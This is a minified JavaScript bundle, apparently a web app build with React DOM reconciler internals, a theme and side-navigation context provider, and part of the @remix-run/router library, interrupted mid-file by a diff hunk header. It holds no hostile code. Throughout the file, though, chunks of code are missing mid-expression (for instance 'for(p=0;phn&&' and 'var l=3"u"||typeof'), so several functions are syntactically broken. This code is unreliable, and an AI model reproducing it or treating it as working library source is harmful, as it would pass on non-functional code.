p.data==="$?"?(a.flags|=128,a.child=s.child,a=NI.bind(null,s),p._reactRetry=a,null):(s=e.treeContext,ms=ha(p.nextSibling),bs=a,J=!0,Hs=null,s!==null&&(Ws[Gs++]=Ls,Ws[Gs++]=Us,Ws[Gs++]=va,Ls=s.id,Us=s.overflow,va=a),a=_c(a,l.children),a.flags|=4096,a)}function oo(s,a,n){s.lanes|=a;var l=s.alternate;l!==null&&(l.lanes|=a),Ee(s.return,a,n)}function re(s,a,n,l,p){var e=s.memoizedState;e===null?s.memoizedState={isBackwards:a,rendering:null,renderingStartTime:0,last:l,tail:n,tailMode:p}:(e.isBackwards=a,e.rendering=null,e.renderingStartTime=0,e.last=l,e.tail=n,e.tailMode=p)}function Yi(s,a,n){var l=a.pendingProps,p=l.revealOrder,e=l.tail;if(rs(s,a,l.children,n),l=z.current,l&2)l=l&1|2,a.flags|=128;else{if(s!==null&&s.flags&128)s:for(s=a.child;s!==null;){if(s.tag===13)s.memoizedState!==null&&oo(s,n,a);else if(s.tag===19)oo(s,n,a);else if(s.child!==null){s.child.return=s,s=s.child;continue}if(s===a)break s;for(;s.sibling===null;){if(s.return===null||s.return===a)break s;s=s.return}s.sibling.return=s.return,s=s.sibling}l&=1}if(F(z,l),!(a.mode&1))a.memoizedState=null;else switch(p){case"forwards":for(n=a.child,p=null;n!==null;)s=n.alternate,s!==null&&tp(s)===null&&(p=n),n=n.sibling;n=p,n===null?(p=a.child,a.child=null):(p=n.sibling,n.sibling=null),re(a,!1,p,n,e);break;case"backwards":for(n=null,p=a.child,a.child=null;p!==null;){if(s=p.alternate,s!==null&&tp(s)===null){a.child=p;break}s=p.sibling,p.sibling=n,n=p,p=s}re(a,!0,n,null,e);break;case"together":re(a,!1,null,null,void 0);break;default:a.memoizedState=null}return a.child}function Jl(s,a){!(a.mode&1)&&s!==null&&(s.alternate=null,a.alternate=null,a.flags|=2)}function qs(s,a,n){if(s!==null&&(a.dependencies=s.dependencies),Ha|=a.lanes,!(n&a.childLanes))return null;if(s!==null&&a.child!==s.child)throw Error(w(153));if(a.child!==null){for(s=a.child,n=ja(s,s.pendingProps),a.child=n,n.return=a;s.sibling!==null;)s=s.sibling,n=n.sibling=ja(s,s.pendingProps),n.return=a;n.sibling=null}return a.child}function wI(s,a,n){switch(a.tag){case 3:fi(a),tn();break;case 5:ni(a);break;case 1:js(a.type)&&ap(a);break;case 4:Jc(a,a.stateNode.containerInfo);break;case 10:var l=a.type._context,p=a.memoizedProps.value;F(pp,l._currentValue),l._currentValue=p;break;case 13:if(l=a.memoizedState,l!==null)return l.dehydrated!==null?(F(z,z.current&1),a.flags|=128,null):n&a.child.childLanes?Vi(s,a,n):(F(z,z.current&1),s=qs(s,a,n),s!==null?s.sibling:null);F(z,z.current&1);break;case 19:if(l=(n&a.childLanes)!==0,s.flags&128){if(l)return Yi(s,a,n);a.flags|=128}if(p=a.memoizedState,p!==null&&(p.rendering=null,p.tail=null,p.lastEffect=null),F(z,z.current),l)break;return null;case 22:case 23:return a.lanes=0,Gi(s,a,n)}return qs(s,a,n)}var Xi,$e,Ri,vi;Xi=function(s,a){for(var n=a.child;n!==null;){if(n.tag===5||n.tag===6)s.appendChild(n.stateNode);else if(n.tag!==4&&n.child!==null){n.child.return=n,n=n.child;continue}if(n===a)break;for(;n.sibling===null;){if(n.return===null||n.return===a)return;n=n.return}n.sibling.return=n.return,n=n.sibling}};$e=function(){};Ri=function(s,a,n,l){var p=s.memoizedProps;if(p!==l){s=a.stateNode,fa(Ds.current);var e=null;switch(n){case"input":p=me(s,p),l=me(s,l),e=[];break;case"select":p=E({},p,{value:void 0}),l=E({},l,{value:void 0}),e=[];break;case"textarea":p=ke(s,p),l=ke(s,l),e=[];break;default:typeof p.onClick!="function"&&typeof l.onClick=="function"&&(s.onclick=ql)}We(n,l);var c;n=null;for(i in p)if(!l.hasOwnProperty(i)&&p.hasOwnProperty(i)&&p[i]!=null)if(i==="style"){var t=p[i];for(c in t)t.hasOwnProperty(c)&&(n||(n={}),n[c]="")}else i!=="dangerouslySetInnerHTML"&&i!=="children"&&i!=="suppressContentEditableWarning"&&i!=="suppressHydrationWarning"&&i!=="autoFocus"&&(Jn.hasOwnProperty(i)?e||(e=[]):(e=e||[]).push(i,null));for(i in l){var o=l[i];if(t=p!=null?p[i]:void 0,l.hasOwnProperty(i)&&o!==t&&(o!=null||t!=null))if(i==="style")if(t){for(c in t)!t.hasOwnProperty(c)||o&&o.hasOwnProperty(c)||(n||(n={}),n[c]="");for(c in o)o.hasOwnProperty(c)&&t[c]!==o[c]&&(n||(n={}),n[c]=o[c])}else n||(e||(e=[]),e.push(i,n)),n=o;else i==="dangerouslySetInnerHTML"?(o=o?o.__html:void 0,t=t?t.__html:void 0,o!=null&&t!==o&&(e=e||[]).push(i,o)):i==="children"?typeof o!="string"&&typeof o!="number"||(e=e||[]).push(i,""+o):i!=="suppressContentEditableWarning"&&i!=="suppressHydrationWarning"&&(Jn.hasOwnProperty(i)?(o!=null&&i==="onScroll"&&M("scroll",s),e||t===o||(e=[])):(e=e||[]).push(i,o))}n&&(e=e||[]).push("style",n);var i=e;(a.updateQueue=i)&&(a.flags|=4)}};vi=function(s,a,n,l){n!==l&&(a.flags|=4)};function Gn(s,a){if(!J)switch(s.tailMode){case"hidden":a=s.tail;for(var n=null;a!==null;)a.alternate!==null&&(n=a),a=a.sibling;n===null?s.tail=null:n.sibling=null;break;case"collapsed":n=s.tail;for(var l=null;n!==null;)n.alternate!==null&&(l=n),n=n.sibling;l===null?a||s.tail===null?s.tail=null:s.tail.sibling=null:l.sibling=null}}function cs(s){var a=s.alternate!==null&&s.alternate.child===s.child,n=0,l=0;if(a)for(var p=s.child;p!==null;)n|=p.lanes|p.childLanes,l|=p.subtreeFlags&14680064,l|=p.flags&14680064,p.return=s,p=p.sibling;else for(p=s.child;p!==null;)n|=p.lanes|p.childLanes,l|=p.subtreeFlags,l|=p.flags,p.return=s,p=p.sibling;return s.subtreeFlags|=l,s.childLanes=n,a}function kI(s,a,n){var l=a.pendingProps;switch(Nc(a),a.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return cs(a),null;case 1:return js(a.type)&&sp(),cs(a),null;case 3:return l=a.stateNode,rn(),S(Cs),S(os),Dc(),l.pendingContext&&(l.context=l.pendingContext,l.pendingContext=null),(s===null||s.child===null)&&(Wl(a)?a.flags|=4:s===null||s.memoizedState.isDehydrated&&!(a.flags&256)||(a.flags|=1024,Hs!==null&&(cc(Hs),Hs=null))),$e(s,a),cs(a),null;case 5:zc(a);var p=fa(qn.current);if(n=a.type,s!==null&&a.stateNode!=null)Ri(s,a,n,l,p),s.ref!==a.ref&&(a.flags|=512,a.flags|=2097152);else{if(!l){if(a.stateNode===null)throw Error(w(166));return cs(a),null}if(s=fa(Ds.current),Wl(a)){l=a.stateNode,n=a.type;var e=a.memoizedProps;switch(l[Js]=a,l[Pn]=e,s=(a.mode&1)!==0,n){case"dialog":M("cancel",l),M("close",l);break;case"iframe":case"object":case"embed":M("load",l);break;case"video":case"audio":for(p=0;p<\/script>",s=s.removeChild(s.firstChild)):typeof l.is=="string"?s=c.createElement(n,{is:l.is}):(s=c.createElement(n),n==="select"&&(c=s,l.multiple?c.multiple=!0:l.size&&(c.size=l.size))):s=c.createElementNS(s,n),s[Js]=a,s[Pn]=l,Xi(s,a,!1,!1),a.stateNode=s;s:{switch(c=Ge(n,l),n){case"dialog":M("cancel",s),M("close",s),p=l;break;case"iframe":case"object":case"embed":M("load",s),p=l;break;case"video":case"audio":for(p=0;phn&&(a.flags|=128,l=!0,Gn(e,!1),a.lanes=4194304)}else{if(!l)if(s=tp(c),s!==null){if(a.flags|=128,l=!0,n=s.updateQueue,n!==null&&(a.updateQueue=n,a.flags|=4),Gn(e,!0),e.tail===null&&e.tailMode==="hidden"&&!c.alternate&&!J)return cs(a),null}else 2*L()-e.renderingStartTime>hn&&n!==1073741824&&(a.flags|=128,l=!0,Gn(e,!1),a.lanes=4194304);e.isBackwards?(c.sibling=a.child,a.child=c):(n=e.last,n!==null?n.sibling=c:a.child=c,e.last=c)}return e.tail!==null?(a=e.tail,e.rendering=a,e.tail=a.sibling,e.renderingStartTime=L(),a.sibling=null,n=z.current,F(z,l?n&1|2:n&1),a):(cs(a),null);case 22:case 23:return st(),l=a.memoizedState!==null,s!==null&&s.memoizedState!==null!==l&&(a.flags|=8192),l&&a.mode&1?ys&1073741824&&(cs(a),a.subtreeFlags&6&&(a.flags|=8192)):cs(a),null;case 24:return null;case 25:return null}throw Error(w(156,a.tag))}function ZI(s,a){switch(Nc(a),a.tag){case 1:return js(a.type)&&sp(),s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 3:return rn(),S(Cs),S(os),Dc(),s=a.flags,s&65536&&!(s&128)?(a.flags=s&-65537|128,a):null;case 5:return zc(a),null;case 13:if(S(z),s=a.memoizedState,s!==null&&s.dehydrated!==null){if(a.alternate===null)throw Error(w(340));tn()}return s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 19:return S(z),null;case 4:return rn(),null;case 10:return Mc(a.type._context),null;case 22:case 23:return st(),null;case 24:return null;default:return null}}var fl=!1,ts=!1,WI=typeof WeakSet=="function"?WeakSet:Set,f=null;function Pa(s,a){var n=s.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(l){Q(s,a,l)}else n.current=null}function qe(s,a,n){try{n()}catch(l){Q(s,a,l)}}var ro=!1;function GI(s,a){if(Ke=Ol,s=Mr(),Rc(s)){if("selectionStart"in s)var n={start:s.selectionStart,end:s.selectionEnd};else s:{n=(n=s.ownerDocument)&&n.defaultView||window;var l=n.getSelection&&n.getSelection();if(l&&l.rangeCount!==0){n=l.anchorNode;var p=l.anchorOffset,e=l.focusNode;l=l.focusOffset;try{n.nodeType,e.nodeType}catch{n=null;break s}var c=0,t=-1,o=-1,i=0,I=0,d=s,j=null;a:for(;;){for(var u;d!==n||p!==0&&d.nodeType!==3||(t=c+p),d!==e||l!==0&&d.nodeType!==3||(o=c+l),d.nodeType===3&&(c+=d.nodeValue.length),(u=d.firstChild)!==null;)j=d,d=u;for(;;){if(d===s)break a;if(j===n&&++i===p&&(t=c),j===e&&++I===l&&(o=c),(u=d.nextSibling)!==null)break;d=j,j=d.parentNode}d=u}n=t===-1||o===-1?null:{start:t,end:o}}else n=null}n=n||{start:0,end:0}}else n=null;for(Fe={focusedElem:s,selectionRange:n},Ol=!1,f=a;f!==null;)if(a=f,s=a.child,(a.subtreeFlags&1028)!==0&&s!==null)s.return=a,f=s;else for(;f!==null;){a=f;try{var m=a.alternate;if(a.flags&1024)switch(a.tag){case 0:case 11:case 15:break;case 1:if(m!==null){var b=m.memoizedProps,G=m.memoizedState,h=a.stateNode,g=h.getSnapshotBeforeUpdate(a.elementType===a.type?b:vs(a.type,b),G);h.__reactInternalSnapshotBeforeUpdate=g}break;case 3:var C=a.stateNode.containerInfo;C.nodeType===1?C.textContent="":C.nodeType===9&&C.documentElement&&C.removeChild(C.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(w(163))}}catch(y){Q(a,a.return,y)}if(s=a.sibling,s!==null){s.return=a.return,f=s;break}f=a.return}return m=ro,ro=!1,m}function Mn(s,a,n){var l=a.updateQueue;if(l=l!==null?l.lastEffect:null,l!==null){var p=l=l.next;do{if((p.tag&s)===s){var e=p.destroy;p.destroy=void 0,e!==void 0&&qe(a,n,e)}p=p.next}while(p!==l)}}function Gp(s,a){if(a=a.updateQueue,a=a!==null?a.lastEffect:null,a!==null){var n=a=a.next;do{if((n.tag&s)===s){var l=n.create;n.destroy=l()}n=n.next}while(n!==a)}}function sc(s){var a=s.ref;if(a!==null){var n=s.stateNode;switch(s.tag){case 5:s=n;break;default:s=n}typeof a=="function"?a(s):a.current=s}}function Ni(s){var a=s.alternate;a!==null&&(s.alternate=null,Ni(a)),s.child=null,s.deletions=null,s.sibling=null,s.tag===5&&(a=s.stateNode,a!==null&&(delete a[Js],delete a[Pn],delete a[xe],delete a[oI],delete a[rI])),s.stateNode=null,s.return=null,s.dependencies=null,s.memoizedProps=null,s.memoizedState=null,s.pendingProps=null,s.stateNode=null,s.updateQueue=null}function Hi(s){return s.tag===5||s.tag===3||s.tag===4}function io(s){s:for(;;){for(;s.sibling===null;){if(s.return===null||Hi(s.return))return null;s=s.return}for(s.sibling.return=s.return,s=s.sibling;s.tag!==5&&s.tag!==6&&s.tag!==18;){if(s.flags&2||s.child===null||s.tag===4)continue s;s.child.return=s,s=s.child}if(!(s.flags&2))return s.stateNode}}function ac(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.nodeType===8?n.parentNode.insertBefore(s,a):n.insertBefore(s,a):(n.nodeType===8?(a=n.parentNode,a.insertBefore(s,n)):(a=n,a.appendChild(s)),n=n._reactRootContainer,n!=null||a.onclick!==null||(a.onclick=ql));else if(l!==4&&(s=s.child,s!==null))for(ac(s,a,n),s=s.sibling;s!==null;)ac(s,a,n),s=s.sibling}function nc(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.insertBefore(s,a):n.appendChild(s);else if(l!==4&&(s=s.child,s!==null))for(nc(s,a,n),s=s.sibling;s!==null;)nc(s,a,n),s=s.sibling}var ns=null,Ns=!1;function aa(s,a,n){for(n=n.child;n!==null;)Ki(s,a,n),n=n.sibling}function Ki(s,a,n){if(zs&&typeof zs.onCommitFiberUnmount=="function")try{zs.onCommitFiberUnmount(up,n)}catch{}switch(n.tag){case 5:ts||Pa(n,a);case 6:var l=ns,p=Ns;ns=null,aa(s,a,n),ns=l,Ns=p,ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?s.parentNode.removeChild(n):s.removeChild(n)):ns.removeChild(n.stateNode));break;case 18:ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?ne(s.parentNode,n):s.nodeType===1&&ne(s,n),Tn(s)):ne(ns,n.stateNode));break;case 4:l=ns,p=Ns,ns=n.stateNode.containerInfo,Ns=!0,aa(s,a,n),ns=l,Ns=p;break;case 0:case 11:case 14:case 15:if(!ts&&(l=n.updateQueue,l!==null&&(l=l.lastEffect,l!==null))){p=l=l.next;do{var e=p,c=e.destroy;e=e.tag,c!==void 0&&(e&2||e&4)&&qe(n,a,c),p=p.next}while(p!==l)}aa(s,a,n);break;case 1:if(!ts&&(Pa(n,a),l=n.stateNode,typeof l.componentWillUnmount=="function"))try{l.props=n.memoizedProps,l.state=n.memoizedState,l.componentWillUnmount()}catch(t){Q(n,a,t)}aa(s,a,n);break;case 21:aa(s,a,n);break;case 22:n.mode&1?(ts=(l=ts)||n.memoizedState!==null,aa(s,a,n),ts=l):aa(s,a,n);break;default:aa(s,a,n)}}function go(s){var a=s.updateQueue;if(a!==null){s.updateQueue=null;var n=s.stateNode;n===null&&(n=s.stateNode=new WI),a.forEach(function(l){var p=HI.bind(null,s,l);n.has(l)||(n.add(l),l.then(p,p))})}}function Rs(s,a){var n=a.deletions;if(n!==null)for(var l=0;lp&&(p=c),l&=~e}if(l=p,l=L()-l,l=(120>l?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*fI(l/1960))-l,10s?16:s,ta===null)var l=!1;else{if(s=ta,ta=null,hp=0,H&6)throw Error(w(331));var p=H;for(H|=4,f=s.current;f!==null;){var e=f,c=e.child;if(f.flags&16){var t=e.deletions;if(t!==null){for(var o=0;oL()-$c?Va(s,0):Pc|=n),As(s,a)}function Ei(s,a){a===0&&(s.mode&1?(a=yl,yl<<=1,!(yl&130023424)&&(yl=4194304)):a=1);var n=is();s=$s(s,a),s!==null&&(tl(s,a,n),As(s,n))}function NI(s){var a=s.memoizedState,n=0;a!==null&&(n=a.retryLane),Ei(s,n)}function HI(s,a){var n=0;switch(s.tag){case 13:var l=s.stateNode,p=s.memoizedState;p!==null&&(n=p.retryLane);break;case 19:l=s.stateNode;break;default:throw Error(w(314))}l!==null&&l.delete(a),Ei(s,n)}var Qi;Qi=function(s,a,n){if(s!==null)if(s.memoizedProps!==a.pendingProps||Cs.current)ds=!0;else{if(!(s.lanes&n)&&!(a.flags&128))return ds=!1,wI(s,a,n);ds=!!(s.flags&131072)}else ds=!1,J&&a.flags&1048576&&_r(a,lp,a.index);switch(a.lanes=0,a.tag){case 2:var l=a.type;Jl(s,a),s=a.pendingProps;var p=cn(a,os.current);ln(a,n),p=Qc(null,a,l,s,p,n);var e=Tc();return a.flags|=1,typeof p=="object"&&p!==null&&typeof p.render=="function"&&p.$$typeof===void 0?(a.tag=1,a.memoizedState=null,a.updateQueue=null,js(l)?(e=!0,ap(a)):e=!1,a.memoizedState=p.state!==null&&p.state!==void 0?p.state:null,xc(a),p.updater=Wp,a.stateNode=p,p._reactInternals=a,Te(a,l,s,n),a=_e(null,a,l,!0,e,n)):(a.tag=0,J&&e&&vc(a),rs(null,a,p,n),a=a.child),a;case 16:l=a.elementType;s:{switch(Jl(s,a),s=a.pendingProps,p=l._init,l=p(l._payload),a.type=l,p=a.tag=FI(l),s=vs(l,s),p){case 0:a=Ue(null,a,l,s,n);break s;case 1:a=co(null,a,l,s,n);break s;case 11:a=po(null,a,l,s,n);break s;case 14:a=eo(null,a,l,vs(l.type,s),n);break s}throw Error(w(306,l,""))}return a;case 0:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),Ue(s,a,l,p,n);case 1:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),co(s,a,l,p,n);case 3:s:{if(fi(a),s===null)throw Error(w(387));l=a.pendingProps,e=a.memoizedState,p=e.element,ai(s,a),cp(a,l,null,n);var c=a.memoizedState;if(l=c.element,e.isDehydrated)if(e={element:l,isDehydrated:!1,cache:c.cache,pendingSuspenseBoundaries:c.pendingSuspenseBoundaries,transitions:c.transitions},a.updateQueue.baseState=e,a.memoizedState=e,a.flags&256){p=gn(Error(w(423)),a),a=to(s,a,l,n,p);break s}else if(l!==p){p=gn(Error(w(424)),a),a=to(s,a,l,n,p);break s}else for(ms=ha(a.stateNode.containerInfo.firstChild),bs=a,J=!0,Hs=null,n=qr(a,null,l,n),a.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(tn(),l===p){a=qs(s,a,n);break s}rs(s,a,l,n)}a=a.child}return a;case 5:return ni(a),s===null&&De(a),l=a.type,p=a.pendingProps,e=s!==null?s.memoizedProps:null,c=p.children,Me(l,p)?c=null:e!==null&&Me(l,e)&&(a.flags|=32),Bi(s,a),rs(s,a,c,n),a.child;case 6:return s===null&&De(a),null;case 13:return Vi(s,a,n);case 4:return Jc(a,a.stateNode.containerInfo),l=a.pendingProps,s===null?a.child=on(a,null,l,n):rs(s,a,l,n),a.child;case 11:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),po(s,a,l,p,n);case 7:return rs(s,a,a.pendingProps,n),a.child;case 8:return rs(s,a,a.pendingProps.children,n),a.child;case 12:return rs(s,a,a.pendingProps.children,n),a.child;case 10:s:{if(l=a.type._context,p=a.pendingProps,e=a.memoizedProps,c=p.value,F(pp,l._currentValue),l._currentValue=c,e!==null)if(Ms(e.value,c)){if(e.children===p.children&&!Cs.current){a=qs(s,a,n);break s}}else for(e=a.child,e!==null&&(e.return=a);e!==null;){var t=e.dependencies;if(t!==null){c=e.child;for(var o=t.firstContext;o!==null;){if(o.context===l){if(e.tag===1){o=_s(-1,n&-n),o.tag=2;var i=e.updateQueue;if(i!==null){i=i.shared;var I=i.pending;I===null?o.next=o:(o.next=I.next,I.next=o),i.pending=o}}e.lanes|=n,o=e.alternate,o!==null&&(o.lanes|=n),Ee(e.return,n,a),t.lanes|=n;break}o=o.next}}else if(e.tag===10)c=e.type===a.type?null:e.child;else if(e.tag===18){if(c=e.return,c===null)throw Error(w(341));c.lanes|=n,t=c.alternate,t!==null&&(t.lanes|=n),Ee(c,n,a),c=e.sibling}else c=e.child;if(c!==null)c.return=e;else for(c=e;c!==null;){if(c===a){c=null;break}if(e=c.sibling,e!==null){e.return=c.return,c=e;break}c=c.return}e=c}rs(s,a,p.children,n),a=a.child}return a;case 9:return p=a.type,l=a.pendingProps.children,ln(a,n),p=Vs(p),l=l(p),a.flags|=1,rs(s,a,l,n),a.child;case 14:return l=a.type,p=vs(l,a.pendingProps),p=vs(l.type,p),eo(s,a,l,p,n);case 15:return Wi(s,a,a.type,a.pendingProps,n);case 17:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),Jl(s,a),a.tag=1,js(l)?(s=!0,ap(a)):s=!1,ln(a,n),wi(a,l,p),Te(a,l,p,n),_e(null,a,l,!0,s,n);case 19:return Yi(s,a,n);case 22:return Gi(s,a,n)}throw Error(w(156,a.tag))};function Ti(s,a){return yr(s,a)}function KI(s,a,n,l){this.tag=s,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=a,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=l,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Bs(s,a,n,l){return new KI(s,a,n,l)}function nt(s){return s=s.prototype,!(!s||!s.isReactComponent)}function FI(s){if(typeof s=="function")return nt(s)?1:0;if(s!=null){if(s=s.$$typeof,s===bc)return 11;if(s===wc)return 14}return 2}function ja(s,a){var n=s.alternate;return n===null?(n=Bs(s.tag,a,s.key,s.mode),n.elementType=s.elementType,n.type=s.type,n.stateNode=s.stateNode,n.alternate=s,s.alternate=n):(n.pendingProps=a,n.type=s.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=s.flags&14680064,n.childLanes=s.childLanes,n.lanes=s.lanes,n.child=s.child,n.memoizedProps=s.memoizedProps,n.memoizedState=s.memoizedState,n.updateQueue=s.updateQueue,a=s.dependencies,n.dependencies=a===null?null:{lanes:a.lanes,firstContext:a.firstContext},n.sibling=s.sibling,n.index=s.index,n.ref=s.ref,n}function El(s,a,n,l,p,e){var c=2;if(l=s,typeof s=="function")nt(s)&&(c=1);else if(typeof s=="string")c=5;else s:switch(s){case za:return Ya(n.children,p,e,a);case mc:c=8,p|=8;break;case je:return s=Bs(12,n,a,p|2),s.elementType=je,s.lanes=e,s;case Ae:return s=Bs(13,n,a,p),s.elementType=Ae,s.lanes=e,s;case ue:return s=Bs(19,n,a,p),s.elementType=ue,s.lanes=e,s;case nr:return fp(n,p,e,a);default:if(typeof s=="object"&&s!==null)switch(s.$$typeof){case sr:c=10;break s;case ar:c=9;break s;case bc:c=11;break s;case wc:c=14;break s;case na:c=16,l=null;break s}throw Error(w(130,s==null?s:typeof s,""))}return a=Bs(c,n,a,p),a.elementType=s,a.type=l,a.lanes=e,a}function Ya(s,a,n,l){return s=Bs(7,s,l,a),s.lanes=n,s}function fp(s,a,n,l){return s=Bs(22,s,l,a),s.elementType=nr,s.lanes=n,s.stateNode={isHidden:!1},s}function ie(s,a,n){return s=Bs(6,s,null,a),s.lanes=n,s}function ge(s,a,n){return a=Bs(4,s.children!==null?s.children:[],s.key,a),a.lanes=n,a.stateNode={containerInfo:s.containerInfo,pendingChildren:null,implementation:s.implementation},a}function MI(s,a,n,l,p){this.tag=a,this.containerInfo=s,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Qp(0),this.expirationTimes=Qp(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Qp(0),this.identifierPrefix=l,this.onRecoverableError=p,this.mutableSourceEagerHydrationData=null}function lt(s,a,n,l,p,e,c,t,o){return s=new MI(s,a,n,t,o),a===1?(a=1,e===!0&&(a|=8)):a=0,e=Bs(3,null,null,a),s.current=e,e.stateNode=s,e.memoizedState={element:l,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},xc(e),s}function SI(s,a,n){var l=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Oi)}catch(s){console.error(s)}}Oi(),Oo.exports=ks;var EI=Oo.exports,Pi,$i,mo=EI;$i=mo.createRoot,Pi=mo.hydrateRoot;const qi={theme:"light",sideNav:!0,initialized:!1},sg=W.createContext({state:qi,init:s=>{},setTheme:s=>{},toggleSideNav:()=>{}});function tt(){return W.useContext(sg)}function bo(s,a){try{localStorage.setItem(s,a)}catch(n){console.error(n)}}const wo=({children:s})=>{const[a,n]=W.useState(qi);function l(t){t=="dark"?(document.body.classList.remove("light"),document.body.classList.add("dark")):(document.body.classList.remove("dark"),document.body.classList.add("light"))}function p(t){try{const o=localStorage.getItem("theme")||"light";let i=t.width>=500;{const I=localStorage.getItem("sideNav");I&&(i=I=="true")}l(o),n(I=>({...I,theme:o,sideNav:i}))}catch(o){console.error(o)}n(o=>({...o,initialized:!0}))}function e(t){l(t),n({...a,theme:t}),bo("theme",t)}function c(){const t=!a.sideNav;n({...a,sideNav:t}),bo("sideNav",t)}return r.jsx(sg.Provider,{value:W.useMemo(()=>({state:a,init:p,setTheme:e,toggleSideNav:c}),[a]),children:s})};/** * @remix-run/router v1.19.1 * * Copyright (c) Remix Software Inc. @@ -46,7 +46,7 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function pl(){return pl=Object.assign?Object.assign.bind():function(s){for(var a=1;a"u")throw new Error(a)}function ag(s,a){if(!s){typeof console<"u"&&console.warn(a);try{throw new Error(a)}catch{}}}function TI(){return Math.random().toString(36).substr(2,8)}function Zo(s,a){return{usr:s.state,key:s.key,idx:a}}function tc(s,a,n,l){return n===void 0&&(n=null),pl({pathname:typeof s=="string"?s:s.pathname,search:"",hash:""},typeof a=="string"?jn(a):a,{state:n,key:a&&a.key||l||TI()})}function ng(s){let{pathname:a="/",search:n="",hash:l=""}=s;return n&&n!=="?"&&(a+=n.charAt(0)==="?"?n:"?"+n),l&&l!=="#"&&(a+=l.charAt(0)==="#"?l:"#"+l),a}function jn(s){let a={};if(s){let n=s.indexOf("#");n>=0&&(a.hash=s.substr(n),s=s.substr(0,n));let l=s.indexOf("?");l>=0&&(a.search=s.substr(l),s=s.substr(0,l)),s&&(a.pathname=s)}return a}function UI(s,a,n,l){l===void 0&&(l={});let{window:p=document.defaultView,v5Compat:e=!1}=l,c=p.history,t=oa.Pop,o=null,i=I();i==null&&(i=0,c.replaceState(pl({},c.state,{idx:i}),""));function I(){return(c.state||{idx:null}).idx}function d(){t=oa.Pop;let G=I(),h=G==null?null:G-i;i=G,o&&o({action:t,location:b.location,delta:h})}function j(G,h){t=oa.Push;let g=tc(b.location,G,h);i=I()+1;let C=Zo(g,i),y=b.createHref(g);try{c.pushState(C,"",y)}catch(Z){if(Z instanceof DOMException&&Z.name==="DataCloneError")throw Z;p.location.assign(y)}e&&o&&o({action:t,location:b.location,delta:1})}function u(G,h){t=oa.Replace;let g=tc(b.location,G,h);i=I();let C=Zo(g,i),y=b.createHref(g);c.replaceState(C,"",y),e&&o&&o({action:t,location:b.location,delta:0})}function m(G){let h=p.location.origin!=="null"?p.location.origin:p.location.href,g=typeof G=="string"?G:ng(G);return g=g.replace(/ $/,"%20"),P(h,"No window.location.(origin|href) available to create URL for href: "+g),new URL(g,h)}let b={get action(){return t},get location(){return s(p,c)},listen(G){if(o)throw new Error("A history only accepts one active listener");return p.addEventListener(ko,d),o=G,()=>{p.removeEventListener(ko,d),o=null}},createHref(G){return a(p,G)},createURL:m,encodeLocation(G){let h=m(G);return{pathname:h.pathname,search:h.search,hash:h.hash}},push:j,replace:u,go(G){return c.go(G)}};return b}var Wo;(function(s){s.data="data",s.deferred="deferred",s.redirect="redirect",s.error="error"})(Wo||(Wo={}));function LI(s,a,n){return n===void 0&&(n="/"),_I(s,a,n,!1)}function _I(s,a,n,l){let p=typeof a=="string"?jn(a):a,e=eg(p.pathname||"/",n);if(e==null)return null;let c=lg(s);OI(c);let t=null;for(let o=0;t==null&&o{let o={relativePath:t===void 0?e.path||"":t,caseSensitive:e.caseSensitive===!0,childrenIndex:c,route:e};o.relativePath.startsWith("/")&&(P(o.relativePath.startsWith(l),'Absolute route path "'+o.relativePath+'" nested under path '+('"'+l+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),o.relativePath=o.relativePath.slice(l.length));let i=Xa([l,o.relativePath]),I=n.concat(o);e.children&&e.children.length>0&&(P(e.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+i+'".')),lg(e.children,a,I,i)),!(e.path==null&&!e.index)&&a.push({path:i,score:ld(i,e.index),routesMeta:I})};return s.forEach((e,c)=>{var t;if(e.path===""||!((t=e.path)!=null&&t.includes("?")))p(e,c);else for(let o of pg(e.path))p(e,c,o)}),a}function pg(s){let a=s.split("/");if(a.length===0)return[];let[n,...l]=a,p=n.endsWith("?"),e=n.replace(/\?$/,"");if(l.length===0)return p?[e,""]:[e];let c=pg(l.join("/")),t=[];return t.push(...c.map(o=>o===""?e:[e,o].join("/"))),p&&t.push(...c),t.map(o=>s.startsWith("/")&&o===""?"/":o)}function OI(s){s.sort((a,n)=>a.score!==n.score?n.score-a.score:pd(a.routesMeta.map(l=>l.childrenIndex),n.routesMeta.map(l=>l.childrenIndex)))}const PI=/^:[\w-]+$/,$I=3,qI=2,sd=1,ad=10,nd=-2,Go=s=>s==="*";function ld(s,a){let n=s.split("/"),l=n.length;return 